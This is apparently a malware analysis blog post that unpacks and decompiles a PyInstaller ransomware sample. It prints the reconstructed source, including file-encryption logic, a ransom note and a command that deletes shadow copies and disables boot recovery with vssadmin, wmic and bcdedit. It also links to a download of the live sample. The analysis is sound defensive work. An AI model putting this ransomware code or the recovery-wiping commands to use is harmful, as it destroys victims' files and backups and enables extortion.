Decoding a Pyinstaller ransomware sample
Note: if you want to download this ransomware sample for educational purposes, feel free to do so by clicking here: password: infected
Introduction
Recently, I’ve came across this Python ransomware sample:
First, here’s the ransom note:
Now, let’s start examining the .exe file statically.
Understanding the file
Here’s the Detect It Easy
output:
We can clearly see that the program is a python-compiled executable, by examining the hexadecimal artifacts:
Now, let’s jump to reversing the file!
We will use the Python script pyinstxtractor to extract and analyze the contents of this pyinstaller generated executable file:
Unpacking pyinstaller resources
We received the output from pyinstxtractor:
C:\Users\WDAGUtilityAccount\Downloads\analyzing>pyinstxtractor.py Encryptor.exe
[+] Processing Encryptor.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 21092376 bytes
[+] Found 120 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: Encryptor.pyc
[+] Found 609 files in PYZ archive
[+] Successfully extracted pyinstaller archive: Encryptor.exe
You can now use a python decompiler on the pyc files within the extracted directory.
So, let’s go to the newly generated Encrypted.exe_extracted
folder:
This ransomware sample clearly uses a lot of cryptographic libraries.
This Encrypted.pyc
file is one of the files in the Encrypted.exe_extracted
folder:
Now, we need to decompile the Encrypted.pyc
file we received from pyinstxtractor. For that, we’ll use the web interface of this library called pylingual, that decompiles .pyc
files containing the compiled bytecode of the ransomware’s main Python source code:
Pylingual gave us a great reconstruction of the source code:
Reconstructed source code
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: Encryptor.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
from pathlib import Path
from PIL import Image, ImageDraw, ImageFont
import ctypes
import string
import subprocess
import shutil
import base64
import sys
from win32com.client import Dispatch
from win32api import GetSystemMetrics
from PIL import Image, ImageDraw, ImageFont
import random
import os
import secrets
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
PUBLIC_KEY_PEM = '-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDzOPVPDhQAR/xYjucI5SdCugXS\nG9ZFk5C1It85dOvh+fmD1UNXs5h3R28hUtThRARNh2ar3ADlGGWHIKwoV4P5hZx4\nq2Cg4odgWrf7a5eskCu3fI4eCTKBSItuEs4nFrjdu6HDXnzVHDkxrkWY96mmoZ9R\n0zG8Kyo6ofuge9p2IwIDAQAB\n-----END PUBLIC KEY-----'
AES_KEY_PATH = 'C:\\ProgramData\\02dq34jROu.key'
USER_PATH = os.path.expanduser('~')
TARGET_DIRS = ['Downloads', 'Music', 'Documents', 'Desktop', 'Videos', 'Pictures']
EXTENSION = '.02dq34jROu'
def _34EYLBSVGLRLCR7DM4():
return serialization.load_pem_public_key(PUBLIC_KEY_PEM.encode(), backend=default_backend())
def _JXOPHO2CGWP23DL9L1():
aes_key = secrets.token_bytes(32)
public_key = _34EYLBSVGLRLCR7DM4()
encrypted_aes_key = public_key.encrypt(aes_key, padding.OAEP(mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None))
with open(AES_KEY_PATH, 'wb') as key_file:
key_file.write(encrypted_aes_key)
return aes_key
def _0HAHESD3QA17F3OWF7():
if not os.path.exists(AES_KEY_PATH):
return _JXOPHO2CGWP23DL9L1()
def _SSJAVGM86I7CGWDH9W(file_path, aes_key):
if not file_path.endswith(EXTENSION) and (not file_path.endswith('.exe')) and (not file_path.endswith('.dll')) and file_path.endswith('.lnk'):
pass # postinserted
return None
def _LLIRBGOWCAMFAVUTAK():
global aes_key # inserted
contentof = '-- Lyrix\n\nYour data has been encrypted and stolen. The only way to recover it is by contacting us.\nDo not attempt to use third-party recovery tools — doing so may permanently damage your files.\n\nTo prove that decryption is possible, we are willing to decrypt 2 random files for free.\n\nYou can contact us at:\nTDVP7boZDZDE4GYWA3qW@protonmail.com\n\nWARNING!\nWe have also downloaded a portion of your data. If you do not pay, we will release it publicly.\n\nID: KVNR2HLU3N9W5BQCPU\n '
aes_key = _0HAHESD3QA17F3OWF7()
print('AES key already exists. Skipping key generation.') if not aes_key else None
appdata_dir = os.path.join(USER_PATH, 'AppData').lower()
for root, dirs, files in os.walk(USER_PATH):
root_normalized = os.path.abspath(root).lower()
if root_normalized.startswith(appdata_dir):
continue
readme_path = os.path.join(root, 'README.txt')
try:
with open(readme_path, 'w', encoding='utf-8') as readme_file:
readme_file.write(contentof)
print(f'Created README.txt in: {root}')
for file in files:
file_path = os.path.join(root, file)
try:
_SSJAVGM86I7CGWDH9W(file_path, aes_key)
print(f'File [{file_path}] encrypted')
except Exception as e:
print(f'[WARNING] Failed to create README.txt in {root}: {e}')
except Exception as e:
print(f'[WARNING] Cannot Encrypt file {file_path}: {e}')
if __name__ == '__main__':
_LLIRBGOWCAMFAVUTAK()
subprocess.Popen('cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no', shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, stdin=subprocess.DEVNULL, creationflags=subprocess.CREATE_NO_WINDOW)
extensions_to_list = ['.exe', '.dll', '.lnk']
def list_files(drive_path, extensions):
for root, dirs, files in os.walk(drive_path, topdown=True):
for file in files:
if any((file.endswith(ext) for ext in extensions)):
continue
file_path = os.path.join(root, file)
_SSJAVGM86I7CGWDH9W(file_path, aes_key)
for drive_letter in string.ascii_uppercase:
drive_path = f'{drive_letter}:/'
if drive_letter not in ['C'] and os.path.exists(drive_path):
pass # postinserted
else: # inserted
try:
list_files(drive_path, extensions_to_list)
except PermissionError:
print(f'Access denied to {drive_path}')
Great! So now we managed to get the literal source code itself.
Let’s explain what the code does step by step:
Source code explanation
Here are the key variables:
PUBLIC_KEY_PEM
: The attacker’s RSA public key, hardcoded into the malware.AES_KEY_PATH
: Where the victim’s encrypted AES key will be stored:C:\ProgramData\02dq34jROu.key
.02dq34jROu
is likely a generated ID for the keyTARGET_DIRS
: Standard folders to attack first (Downloads, Documents, Desktop, etc.).EXTENSION
: Files will get renamed with the randomly generated ID.02dq34jROu
after encryption (this code doesn’t show the full renaming though).
The malware also uses subprocess.Popen(...)
commands to deletes all system shadow copies and disables recovery options:
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {default} recoveryenabled no
This makes it harder to recover files without paying.
list_files(drive_path, extensions)
Walks through a drive letter (like D:/, E:/).
The encryption routine works like this:
- For every file, if file is NOT .exe, .dll, or .lnk, it tries to encrypt it.
- For every drive letter A: to Z, if the drive exists and is NOT C: (system drive), encrypt files on it.
This ransomware has some bugs and problems, and is likely very ameatur-ish.